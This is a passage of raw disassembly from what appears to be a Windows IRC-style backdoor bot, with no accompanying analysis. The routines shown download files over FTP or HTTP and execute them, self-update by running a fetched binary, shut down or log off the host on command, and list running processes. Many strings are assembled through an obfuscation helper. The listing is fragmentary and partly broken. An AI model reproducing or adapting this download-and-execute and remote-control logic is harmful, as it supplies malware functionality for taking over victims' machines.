		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_44		= dword	ptr -44h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_24		= byte ptr  28h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_110		= byte ptr  114h
arg_120		= byte ptr  124h
arg_130		= byte ptr  134h
arg_1110	= dword	ptr  1114h
arg_1114	= byte ptr  1118h
arg_1130	= dword	ptr  1134h
arg_1138	= dword	ptr  113Ch
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F60
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F60
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F60
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F60
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F60
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	near ptr 2980000h
		nop
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		dd 69BAB8E8h, 0BEE99071h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+30h+arg_24]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+24h+arg_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+2Ch+arg_24]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_24], esi
		push	ecx
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+34h+var_18]
		mov	byte ptr [esp+34h+arg_1138], 3
		call	sub_401226
		lea	ecx, [esp+34h+arg_14]
		mov	byte ptr [esp+34h+arg_1138], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	[esp+34h+arg_1138], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+34h+var_20]
		push	0
		lea	edx, [esp+38h+arg_130]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+44h+arg_120], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+48h+arg_120]
		push	offset asc_443EE8 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+44h+arg_120]
		push	ebx
		push	edx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+44h+var_30]
		push	0
		lea	eax, [esp+48h+arg_120]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+54h+arg_110], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+54h+arg_110]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+arg_1114], 3
		call	sub_401226
		lea	ecx, [esp+58h+var_C]
		mov	[esp+58h+arg_1114], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F60
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+58h+var_3C]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+58h+arg_1114], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+58h+var_3C]
		mov	bl, al
		mov	[esp+58h+arg_1114], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478C6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447864
		mov	ecx, offset dword_448DA0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44790F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44793F
		mov	ecx, offset dword_448DA0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DA0
		call	sub_401E5B
		push	1
		mov	byte_4E6E74, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+5Ch+var_44], esi
		lea	edx, [esp+5Ch+var_44]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+5Ch+var_28]
		mov	[esp+5Ch+arg_1110], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6ECB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+34h+arg_1130]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FEC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 2A10000h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		call	near ptr 2A10000h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		call	near ptr 2A10000h
		nop


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
